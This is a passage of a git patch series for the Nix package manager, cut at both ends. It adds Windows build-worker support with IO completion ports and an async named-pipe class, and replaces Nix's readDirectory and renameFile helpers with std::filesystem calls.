Worker::makeDerivationGoalCommon( const StorePath & drvPath, @@ -70,7 +79,6 @@ std::shared_ptr Worker::makeDerivationGoal(const StorePath & drv }); } - std::shared_ptr Worker::makeBasicDerivationGoal(const StorePath & drvPath, const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode) { @@ -81,6 +89,8 @@ std::shared_ptr Worker::makeBasicDerivationGoal(const StorePath }); } +#endif + std::shared_ptr Worker::makePathSubstitutionGoal(const StorePath & path, RepairFlag repair, std::optional ca) { @@ -112,10 +122,14 @@ GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode) { return std::visit(overloaded { [&](const DerivedPath::Built & bfd) -> GoalPtr { +#ifndef _WIN32 // TODO Enable building on Windows if (auto bop = std::get_if(&*bfd.drvPath)) return makeDerivationGoal(bop->path, bfd.outputs, buildMode); else throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented."); +#else + throw UnimplementedError("Building derivations not yet implemented on Windows"); +#endif }, [&](const DerivedPath::Opaque & bo) -> GoalPtr { return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair); @@ -141,9 +155,12 @@ static void removeGoal(std::shared_ptr goal, std::map> & void Worker::removeGoal(GoalPtr goal) { +#ifndef _WIN32 // TODO Enable building on Windows if (auto drvGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(drvGoal, derivationGoals); - else if (auto subGoal = std::dynamic_pointer_cast(goal)) + else +#endif + if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, substitutionGoals); else if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, drvOutputSubstitutionGoals); @@ -187,13 +204,13 @@ unsigned Worker::getNrSubstitutions() } -void Worker::childStarted(GoalPtr goal, const std::set & fds, +void Worker::childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts) { Child child; child.goal = goal; child.goal2 = goal.get(); - child.fds = fds; + child.channels = channels; child.timeStarted = child.lastOutput = steady_time_point::clock::now(); child.inBuildSlot = inBuildSlot; child.respectTimeouts = respectTimeouts; @@ -281,12 +298,15 @@ void Worker::run(const Goals & _topGoals) for (auto & i : _topGoals) { topGoals.insert(i); +#ifndef _WIN32 // TODO Enable building on Windows if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Built { .drvPath = makeConstantStorePathRef(goal->drvPath), .outputs = goal->wantedOutputs, }); - } else if (auto goal = dynamic_cast(i.get())) { + } else +#endif + if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Opaque{goal->storePath}); } } @@ -408,13 +428,14 @@ void Worker::waitForInput() if (useTimeout) vomit("sleeping %d seconds", timeout); +#ifndef _WIN32 /* Use select() to wait for the input side of any logger pipe to become `available'. Note that `available' (i.e., non-blocking) includes EOF. */ std::vector pollStatus; std::map fdToPollStatus; for (auto & i : children) { - for (auto & j : i.fds) { + for (auto & j : i.channels) { pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); fdToPollStatus[j] = pollStatus.size() - 1; } @@ -425,6 +446,28 @@ void Worker::waitForInput() if (errno == EINTR) return; throw SysError("waiting for input"); } +#else + OVERLAPPED_ENTRY oentries[0x20] = {0}; + ULONG removed; + bool gotEOF = false; + + // we are on at least Windows Vista / Server 2008 and can get many (countof(oentries)) statuses in one API call + if (!GetQueuedCompletionStatusEx( + ioport.get(), + oentries, + sizeof(oentries) / sizeof(*oentries), + &removed, + useTimeout ? timeout * 1000 : INFINITE, + false)) + { + windows::WinError winError("GetQueuedCompletionStatusEx"); + if (winError.lastError != WAIT_TIMEOUT) + throw winError; + assert(removed == 0); + } else { + assert(0 < removed && removed <= sizeof(oentries)/sizeof(*oentries)); + } +#endif auto after = steady_time_point::clock::now(); @@ -439,20 +482,21 @@ void Worker::waitForInput() GoalPtr goal = j->goal.lock(); assert(goal); - std::set fds2(j->fds); +#ifndef _WIN32 + std::set fds2(j->channels); std::vector buffer(4096); for (auto & k : fds2) { const auto fdPollStatusId = get(fdToPollStatus, k); assert(fdPollStatusId); assert(*fdPollStatusId < pollStatus.size()); if (pollStatus.at(*fdPollStatusId).revents) { - ssize_t rd = ::read(k, buffer.data(), buffer.size()); + ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size()); // FIXME: is there a cleaner way to handle pt close // than EIO? Is this even standard? if (rd == 0 || (rd == -1 && errno == EIO)) { debug("%1%: got EOF", goal->getName()); goal->handleEOF(k); - j->fds.erase(k); + j->channels.erase(k); } else if (rd == -1) { if (errno != EINTR) throw SysError("%s: read failed", goal->getName()); @@ -465,6 +509,48 @@ void Worker::waitForInput() } } } +#else + decltype(j->channels)::iterator p = j->channels.begin(); + while (p != j->channels.end()) { + decltype(p) nextp = p; + ++nextp; + for (ULONG i = 0; i < removed; i++) { + if (oentries[i].lpCompletionKey == ((ULONG_PTR)((*p)->readSide.get()) ^ 0x5555)) { + printMsg(lvlVomit, "%s: read %s bytes", goal->getName(), oentries[i].dwNumberOfBytesTransferred); + if (oentries[i].dwNumberOfBytesTransferred > 0) { + std::string data { + (char *) (*p)->buffer.data(), + oentries[i].dwNumberOfBytesTransferred, + }; + //std::cerr << "read [" << data << "]" << std::endl; + j->lastOutput = after; + goal->handleChildOutput((*p)->readSide.get(), data); + } + + if (gotEOF) { + debug("%s: got EOF", goal->getName()); + goal->handleEOF((*p)->readSide.get()); + nextp = j->channels.erase(p); // no need to maintain `j->channels` ? + } else { + BOOL rc = ReadFile((*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped); + if (rc) { + // here is possible (but not obligatory) to call `goal->handleChildOutput` and repeat ReadFile immediately + } else { + windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get()); + if (winError.lastError == ERROR_BROKEN_PIPE) { + debug("%s: got EOF", goal->getName()); + goal->handleEOF((*p)->readSide.get()); + nextp = j->channels.erase(p); // no need to maintain `j->channels` ? + } else if (winError.lastError != ERROR_IO_PENDING) + throw winError; + } + } + break; + } + } + p = nextp; + } +#endif if (goal->exitCode == Goal::ecBusy && 0 != settings.maxSilentTime && diff --git a/src/libstore/unix/build/worker.hh b/src/libstore/build/worker.hh similarity index 92% rename from src/libstore/unix/build/worker.hh rename to src/libstore/build/worker.hh index ced013ddd..b57734b45 100644 --- a/src/libstore/unix/build/worker.hh +++ b/src/libstore/build/worker.hh @@ -2,18 +2,23 @@ ///@file #include "types.hh" -#include "lock.hh" #include "store-api.hh" #include "goal.hh" #include "realisation.hh" +#ifdef _WIN32 +# include "windows-async-pipe.hh" +#endif + #include #include namespace nix { /* Forward definition. */ +#ifndef _WIN32 // TODO Enable building on Windows struct DerivationGoal; +#endif struct PathSubstitutionGoal; class DrvOutputSubstitutionGoal; @@ -36,14 +41,22 @@ typedef std::chrono::time_point steady_time_point; /** * A mapping used to remember for each child process to what goal it - * belongs, and file descriptors for receiving log data and output + * belongs, and comm channels for receiving log data and output * path creation commands. */ struct Child { + using CommChannel = +#ifndef _WIN32 + Descriptor +#else + windows::AsyncPipe * +#endif + ; + WeakGoalPtr goal; Goal * goal2; // ugly hackery - std::set fds; + std::set channels; bool respectTimeouts; bool inBuildSlot; /** @@ -53,8 +66,10 @@ struct Child steady_time_point timeStarted; }; +#ifndef _WIN32 // TODO Enable building on Windows /* Forward definition. */ struct HookInstance; +#endif /** * The worker class. @@ -101,7 +116,9 @@ private: * Maps used to prevent multiple instantiations of a goal for the * same derivation / path. */ +#ifndef _WIN32 // TODO Enable building on Windows std::map> derivationGoals; +#endif std::map> substitutionGoals; std::map> drvOutputSubstitutionGoals; @@ -152,10 +169,16 @@ public: */ bool checkMismatch; +#ifdef _WIN32 + AutoCloseFD ioport; +#endif + Store & store; Store & evalStore; +#ifndef _WIN32 // TODO Enable building on Windows std::unique_ptr hook; +#endif uint64_t expectedBuilds = 0; uint64_t doneBuilds = 0; @@ -184,6 +207,7 @@ public: * Make a goal (with caching). */ +#ifndef _WIN32 // TODO Enable building on Windows /** * @ref DerivationGoal "derivation goal" */ @@ -198,6 +222,7 @@ public: std::shared_ptr makeBasicDerivationGoal( const StorePath & drvPath, const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); +#endif /** * @ref SubstitutionGoal "substitution goal" @@ -238,7 +263,7 @@ public: * Registers a running child process. `inBuildSlot` means that * the process counts towards the jobs limit. */ - void childStarted(GoalPtr goal, const std::set & fds, + void childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts); /** diff --git a/src/libstore/local.mk b/src/libstore/local.mk index cc67da786..60174d009 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -4,7 +4,7 @@ libstore_NAME = libnixstore libstore_DIR := $(d) -libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc) +libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc) ifdef HOST_UNIX libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc) endif @@ -43,7 +43,7 @@ endif INCLUDE_libstore := -I $(d) -I $(d)/build ifdef HOST_UNIX - INCLUDE_libstore += -I $(d)/unix + INCLUDE_libstore += -I $(d)/unix -I $(d)/unix/build endif ifdef HOST_LINUX INCLUDE_libstore += -I $(d)/linux diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc index 8d6e35015..004094015 100644 --- a/src/libstore/unix/build/derivation-goal.cc +++ b/src/libstore/unix/build/derivation-goal.cc @@ -1280,7 +1280,7 @@ bool DerivationGoal::isReadDesc(int fd) return fd == hook->builderOut.readSide.get(); } -void DerivationGoal::handleChildOutput(int fd, std::string_view data) +void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) { // local & `ssh://`-builds are dealt with here. auto isWrittenToLog = isReadDesc(fd); @@ -1347,7 +1347,7 @@ void DerivationGoal::handleChildOutput(int fd, std::string_view data) } -void DerivationGoal::handleEOF(int fd) +void DerivationGoal::handleEOF(Descriptor fd) { if (!currentLogLine.empty()) flushLine(); worker.wakeUp(shared_from_this()); diff --git a/src/libstore/unix/build/derivation-goal.hh b/src/libstore/unix/build/derivation-goal.hh index ddb5ee1e3..be6eb50c4 100644 --- a/src/libstore/unix/build/derivation-goal.hh +++ b/src/libstore/unix/build/derivation-goal.hh @@ -2,7 +2,7 @@ ///@file #include "parsed-derivations.hh" -#include "lock.hh" +#include "user-lock.hh" #include "outputs-spec.hh" #include "store-api.hh" #include "pathlocks.hh" @@ -292,8 +292,8 @@ struct DerivationGoal : public Goal /** * Callback used by the worker to write to the log. */ - void handleChildOutput(int fd, std::string_view data) override; - void handleEOF(int fd) override; + void handleChildOutput(Descriptor fd, std::string_view data) override; + void handleEOF(Descriptor fd) override; void flushLine(); /** diff --git a/src/libstore/unix/lock.cc b/src/libstore/unix/user-lock.cc similarity index 99% rename from src/libstore/unix/lock.cc rename to src/libstore/unix/user-lock.cc index 023c74e34..8057aa13e 100644 --- a/src/libstore/unix/lock.cc +++ b/src/libstore/unix/user-lock.cc @@ -1,4 +1,4 @@ -#include "lock.hh" +#include "user-lock.hh" #include "file-system.hh" #include "globals.hh" #include "pathlocks.hh" diff --git a/src/libstore/unix/lock.hh b/src/libstore/unix/user-lock.hh similarity index 100% rename from src/libstore/unix/lock.hh rename to src/libstore/unix/user-lock.hh diff --git a/src/libstore/windows/build.cc b/src/libstore/windows/build.cc deleted file mode 100644 index 3eadc5bda..000000000 --- a/src/libstore/windows/build.cc +++ /dev/null @@ -1,37 +0,0 @@ -#include "store-api.hh" -#include "build-result.hh" - -namespace nix { - -void Store::buildPaths(const std::vector & reqs, BuildMode buildMode, std::shared_ptr evalStore) -{ - unsupported("buildPaths"); -} - -std::vector Store::buildPathsWithResults( - const std::vector & reqs, - BuildMode buildMode, - std::shared_ptr evalStore) -{ - unsupported("buildPathsWithResults"); -} - -BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) -{ - unsupported("buildDerivation"); -} - - -void Store::ensurePath(const StorePath & path) -{ - unsupported("ensurePath"); -} - - -void Store::repairPath(const StorePath & path) -{ - unsupported("repairPath"); -} - -} diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc index 738057f68..8a4d55e00 100644 --- a/src/libstore/windows/pathlocks.cc +++ b/src/libstore/windows/pathlocks.cc @@ -9,6 +9,8 @@ namespace nix { +using namespace nix::windows; + void deleteLockFile(const Path & path, Descriptor desc) { diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 0419f36d6..87d181c94 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -206,11 +206,11 @@ MakeError(SystemError, Error); * * Throw this, but prefer not to catch this, and catch `SystemError` * instead. This allows implementations to freely switch between this - * and `WinError` without breaking catch blocks. + * and `windows::WinError` without breaking catch blocks. * * However, it is permissible to catch this and rethrow so long as * certain conditions are not met (e.g. to catch only if `errNo = - * EFooBar`). In that case, try to also catch the equivalent `WinError` + * EFooBar`). In that case, try to also catch the equivalent `windows::WinError` * code. * * @todo Rename this to `PosixError` or similar. At this point Windows @@ -248,7 +248,9 @@ public: }; #ifdef _WIN32 -class WinError; +namespace windows { + class WinError; +} #endif /** @@ -258,7 +260,7 @@ class WinError; */ using NativeSysError = #ifdef _WIN32 - WinError + windows::WinError #else SysError #endif diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index 5ea27ccbe..36b99905a 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -136,7 +136,7 @@ size_t FdSource::readUnbuffered(char * data, size_t len) checkInterrupt(); if (!::ReadFile(fd, data, len, &n, NULL)) { _good = false; - throw WinError("ReadFile when FdSource::readUnbuffered"); + throw windows::WinError("ReadFile when FdSource::readUnbuffered"); } #else ssize_t n; diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc index 26f769b66..b5c21ad32 100644 --- a/src/libutil/windows/file-descriptor.cc +++ b/src/libutil/windows/file-descriptor.cc @@ -14,6 +14,8 @@ namespace nix { +using namespace nix::windows; + std::string readFile(HANDLE handle) { LARGE_INTEGER li; diff --git a/src/libutil/windows/users.cc b/src/libutil/windows/users.cc index 1792ff1a1..db6c42df3 100644 --- a/src/libutil/windows/users.cc +++ b/src/libutil/windows/users.cc @@ -9,6 +9,8 @@ namespace nix { +using namespace nix::windows; + std::string getUserName() { // Get the required buffer size diff --git a/src/libutil/windows/windows-async-pipe.cc b/src/libutil/windows/windows-async-pipe.cc new file mode 100644 index 000000000..7aae603bd --- /dev/null +++ b/src/libutil/windows/windows-async-pipe.cc @@ -0,0 +1,43 @@ +#include "windows-async-pipe.hh" +#include "windows-error.hh" + +namespace nix::windows { + +void AsyncPipe::createAsyncPipe(HANDLE iocp) +{ + // std::cerr << (format("-----AsyncPipe::createAsyncPipe(%x)") % iocp) << std::endl; + + buffer.resize(0x1000); + memset(&overlapped, 0, sizeof(overlapped)); + + std::string pipeName = fmt("\\\\.\\pipe\\nix-%d-%p", GetCurrentProcessId(), (void *) this); + + readSide = CreateNamedPipeA( + pipeName.c_str(), PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 0, 0, + INFINITE, NULL); + if (!readSide) + throw WinError("CreateNamedPipeA(%s)", pipeName); + + HANDLE hIocp = CreateIoCompletionPort(readSide.get(), iocp, (ULONG_PTR) (readSide.get()) ^ 0x5555, 0); + if (hIocp != iocp) + throw WinError("CreateIoCompletionPort(%x[%s], %x, ...) returned %x", readSide.get(), pipeName, iocp, hIocp); + + if (!ConnectNamedPipe(readSide.get(), &overlapped) && GetLastError() != ERROR_IO_PENDING) + throw WinError("ConnectNamedPipe(%s)", pipeName); + + SECURITY_ATTRIBUTES psa2 = {0}; + psa2.nLength = sizeof(SECURITY_ATTRIBUTES); + psa2.bInheritHandle = TRUE; + + writeSide = CreateFileA(pipeName.c_str(), GENERIC_WRITE, 0, &psa2, OPEN_EXISTING, 0, NULL); + if (!readSide) + throw WinError("CreateFileA(%s)", pipeName); +} + +void AsyncPipe::close() +{ + readSide.close(); + writeSide.close(); +} + +} diff --git a/src/libutil/windows/windows-async-pipe.hh b/src/libutil/windows/windows-async-pipe.hh new file mode 100644 index 000000000..c980201a8 --- /dev/null +++ b/src/libutil/windows/windows-async-pipe.hh @@ -0,0 +1,20 @@ +#pragma once +///@file + +#include "file-descriptor.hh" + +namespace nix::windows { + +class AsyncPipe +{ +public: + AutoCloseFD writeSide, readSide; + OVERLAPPED overlapped; + DWORD got; + std::vector buffer; + + void createAsyncPipe(HANDLE iocp); + void close(); +}; + +} diff --git a/src/libutil/windows/windows-error.cc b/src/libutil/windows/windows-error.cc index 26faaae6d..aead4af23 100644 --- a/src/libutil/windows/windows-error.cc +++ b/src/libutil/windows/windows-error.cc @@ -4,7 +4,7 @@ #define WIN32_LEAN_AND_MEAN #include -namespace nix { +namespace nix::windows { std::string WinError::renderError(DWORD lastError) { diff --git a/src/libutil/windows/windows-error.hh b/src/libutil/windows/windows-error.hh index fdfd0f52c..624b4c4cb 100644 --- a/src/libutil/windows/windows-error.hh +++ b/src/libutil/windows/windows-error.hh @@ -5,7 +5,7 @@ #include "error.hh" -namespace nix { +namespace nix::windows { /** * Windows Error type. From 1db7d1b8404978c4ae00d6ec5d17eca6821d94f6 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 12 May 2024 17:42:18 +0530 Subject: [PATCH 0580/1251] inline the usage of `nix::readDirectory` `nix::readDirectory` is removed. `std::filesystem::directory_iterator` is used directly in places that used this util. --- src/libcmd/repl.cc | 2 +- src/libstore/builtins/buildenv.cc | 4 ++-- src/libstore/gc.cc | 4 ++-- src/libstore/globals.cc | 2 +- src/libstore/local-binary-cache-store.cc | 2 +- src/libstore/local-store.cc | 4 ++-- src/libstore/posix-fs-canonicalise.cc | 3 +-- src/libstore/profiles.cc | 2 +- src/libstore/unix/builtins/unpack-channel.cc | 8 +++++--- src/libutil/file-system.cc | 14 -------------- src/libutil/file-system.hh | 6 ------ src/libutil/linux/cgroup.cc | 2 +- src/libutil/posix-source-accessor.cc | 2 +- src/libutil/unix/file-descriptor.cc | 2 +- src/nix-collect-garbage/nix-collect-garbage.cc | 2 +- src/nix/flake.cc | 2 +- src/nix/prefetch.cc | 7 ++++--- src/nix/run.cc | 2 +- 18 files changed, 26 insertions(+), 44 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8a9155ab6..a069dd52c 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -259,7 +259,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix) try { auto dir = std::string(cur, 0, slash); auto prefix2 = std::string(cur, slash + 1); - for (auto & entry : readDirectory(dir == "" ? "/" : dir)) { + for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) { auto name = entry.path().filename().string(); if (name[0] != '.' && hasPrefix(name, prefix2)) completions.insert(prev + entry.path().string()); diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index 5fcdf6f15..ab35c861d 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -17,10 +17,10 @@ struct State /* For each activated package, create symlinks */ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, int priority) { - std::vector srcFiles; + std::filesystem::directory_iterator srcFiles; try { - srcFiles = readDirectory(srcDir); + srcFiles = std::filesystem::directory_iterator{srcDir}; } catch (std::filesystem::filesystem_error & e) { if (e.code() == std::errc::not_a_directory) { warn("not including '%s' in the user environment because it's not a directory", srcDir); diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 3cd4fb839..59566d010 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -161,7 +161,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) { /* Read the `temproots' directory for per-process temporary root files. */ - for (auto & i : readDirectory(tempRootsDir)) { + for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) { auto name = i.path().filename().string(); if (name[0] == '.') { // Ignore hidden files. Some package managers (notably portage) create @@ -228,7 +228,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R type = getFileType(path); if (type == std::filesystem::file_type::directory) { - for (auto & i : readDirectory(path)) + for (auto & i : std::filesystem::directory_iterator{path}) findRoots(i.path().string(), i.symlink_status().type(), roots); } diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 4df2880e6..d9cab2fb8 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -345,7 +345,7 @@ void initPlugins() for (const auto & pluginFile : settings.pluginFiles.get()) { std::vector pluginFiles; try { - auto ents = readDirectory(pluginFile); + auto ents = std::filesystem::directory_iterator{pluginFile}; for (const auto & ent : ents) pluginFiles.emplace_back(ent.path()); } catch (std::filesystem::filesystem_error & e) { diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 3a48f4480..5cd6af412 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -83,7 +83,7 @@ protected: { StorePathSet paths; - for (auto & entry : readDirectory(binaryCacheDir)) { + for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) { auto name = entry.path().filename().string(); if (name.size() != 40 || !hasSuffix(name, ".narinfo")) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 800e69309..106bd9fa1 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1406,7 +1406,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) printInfo("checking link hashes..."); - for (auto & link : readDirectory(linksDir)) { + for (auto & link : std::filesystem::directory_iterator{linksDir}) { auto name = link.path().filename(); printMsg(lvlTalkative, "checking contents of '%s'", name); PosixSourceAccessor accessor; @@ -1498,7 +1498,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair database and the filesystem) in the loop below, in order to catch invalid states. */ - for (auto & i : readDirectory(realStoreDir)) { + for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) { try { storePathsInStoreDir.insert({i.path().filename().string()}); } catch (BadStorePath &) { } diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc index d70ef6fae..d8bae13f5 100644 --- a/src/libstore/posix-fs-canonicalise.cc +++ b/src/libstore/posix-fs-canonicalise.cc @@ -144,8 +144,7 @@ static void canonicalisePathMetaData_( #endif if (S_ISDIR(st.st_mode)) { - std::vector entries = readDirectory(path); - for (auto & i : entries) + for (auto & i : std::filesystem::directory_iterator{path}) canonicalisePathMetaData_( i.path().string(), #ifndef _WIN32 diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc index fa8026703..d0da96262 100644 --- a/src/libstore/profiles.cc +++ b/src/libstore/profiles.cc @@ -37,7 +37,7 @@ std::pair> findGenerations(Path pro std::filesystem::path profileDir = dirOf(profile); auto profileName = std::string(baseNameOf(profile)); - for (auto & i : readDirectory(profileDir.string())) { + for (auto & i : std::filesystem::directory_iterator{profileDir}) { if (auto n = parseName(profileName, i.path().filename().string())) { auto path = i.path().string(); gens.push_back({ diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc index 47bf5d49c..c53604145 100644 --- a/src/libstore/unix/builtins/unpack-channel.cc +++ b/src/libstore/unix/builtins/unpack-channel.cc @@ -21,10 +21,12 @@ void builtinUnpackChannel( unpackTarfile(src, out); - auto entries = readDirectory(out); - if (entries.size() != 1) + auto entries = std::filesystem::directory_iterator{out}; + auto file_count = std::distance(entries, std::filesystem::directory_iterator{}); + + if (file_count != 1) throw Error("channel tarball '%s' contains more than one file", src); - renameFile(entries[0].path().string(), (out + "/" + channelName)); + renameFile(entries->path().string(), (out + "/" + channelName)); } } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 39efa19fe..7032ecdf7 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -222,20 +222,6 @@ Path readLink(const Path & path) } -std::vector readDirectory(const Path & path) -{ - std::vector entries; - entries.reserve(64); - - for (auto & entry : fs::directory_iterator{path}) { - checkInterrupt(); - entries.push_back(std::move(entry)); - } - - return entries; -} - - fs::file_type getFileType(const Path & path) { return fs::symlink_status(path).type(); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 4536accc3..73150239a 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -122,12 +122,6 @@ Path readLink(const Path & path); */ Descriptor openDirectory(const std::filesystem::path & path); -/** - * Read the contents of a directory. The entries `.` and `..` are - * removed. - */ -std::vector readDirectory(const Path & path); - std::filesystem::file_type getFileType(const Path & path); /** diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc index 619ef7764..ec4077478 100644 --- a/src/libutil/linux/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -64,7 +64,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu /* Otherwise, manually kill every process in the subcgroups and this cgroup. */ - for (auto & entry : readDirectory(cgroup)) { + for (auto & entry : std::filesystem::directory_iterator{cgroup}) { if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue; destroyCgroup(cgroup / entry.path().filename(), false); } diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index aa13f4c56..225fc852c 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -132,7 +132,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath & { assertNoSymlinks(path); DirEntries res; - for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) { + for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) { auto type = [&]() -> std::optional { std::filesystem::file_type nativeType; try { diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc index 222d077e5..84a33af81 100644 --- a/src/libutil/unix/file-descriptor.cc +++ b/src/libutil/unix/file-descriptor.cc @@ -124,7 +124,7 @@ void closeMostFDs(const std::set & exceptions) { #if __linux__ try { - for (auto & s : readDirectory("/proc/self/fd")) { + for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) { auto fd = std::stoi(s.path().filename()); if (!exceptions.count(fd)) { debug("closing leaked FD %d", fd); diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc index 02a3a4b83..91209c978 100644 --- a/src/nix-collect-garbage/nix-collect-garbage.cc +++ b/src/nix-collect-garbage/nix-collect-garbage.cc @@ -27,7 +27,7 @@ void removeOldGenerations(std::string dir) bool canWrite = access(dir.c_str(), W_OK) == 0; - for (auto & i : readDirectory(dir)) { + for (auto & i : std::filesystem::directory_iterator{dir}) { checkInterrupt(); auto path = i.path().string(); diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 9c1888aa0..78a8a55c3 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -866,7 +866,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand { createDirs(to); - for (auto & entry : readDirectory(from)) { + for (auto & entry : std::filesystem::directory_iterator{from}) { auto from2 = entry.path().string(); auto to2 = to + "/" + entry.path().filename().string(); auto st = lstat(from2); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index e932170cf..3ce52acc5 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -115,9 +115,10 @@ std::tuple prefetchFile( /* If the archive unpacks to a single file/directory, then use that as the top-level. */ - auto entries = readDirectory(unpacked); - if (entries.size() == 1) - tmpFile = entries[0].path(); + auto entries = std::filesystem::directory_iterator{unpacked}; + auto file_count = std::distance(entries, std::filesystem::directory_iterator{}); + if (file_count == 1) + tmpFile = entries->path(); else tmpFile = unpacked; } diff --git a/src/nix/run.cc b/src/nix/run.cc index 9c559bdf6..cc999ddf4 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -248,7 +248,7 @@ void chrootHelper(int argc, char * * argv) if (mount(realStoreDir.c_str(), (tmpDir + storeDir).c_str(), "", MS_BIND, 0) == -1) throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); - for (auto entry : readDirectory("/")) { + for (auto entry : std::filesystem::directory_iterator{"/"}) { auto src = entry.path().string(); Path dst = tmpDir + "/" + entry.path().filename().string(); if (pathExists(dst)) continue; From 45376637404bbb971fc09e80fe3f7d924cb152ef Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 12 May 2024 18:40:16 +0530 Subject: [PATCH 0581/1251] inline the usage of `nix::renameFile` use `std::filesystem::rename` everywhere and remove `nix::renameFile` --- src/libstore/indirect-root-store.cc | 2 +- src/libstore/local-binary-cache-store.cc | 2 +- src/libstore/local-store.cc | 2 +- src/libstore/unix/build/derivation-goal.cc | 2 +- src/libstore/unix/build/local-derivation-goal.cc | 6 +++--- src/libstore/unix/builtins/unpack-channel.cc | 2 +- src/libutil/file-system.cc | 11 +++-------- src/libutil/file-system.hh | 2 -- 8 files changed, 11 insertions(+), 18 deletions(-) diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc index 082a458ab..844d0d6ed 100644 --- a/src/libstore/indirect-root-store.cc +++ b/src/libstore/indirect-root-store.cc @@ -12,7 +12,7 @@ void IndirectRootStore::makeSymlink(const Path & link, const Path & target) createSymlink(target, tempLink); /* Atomically replace the old one. */ - renameFile(tempLink, link); + 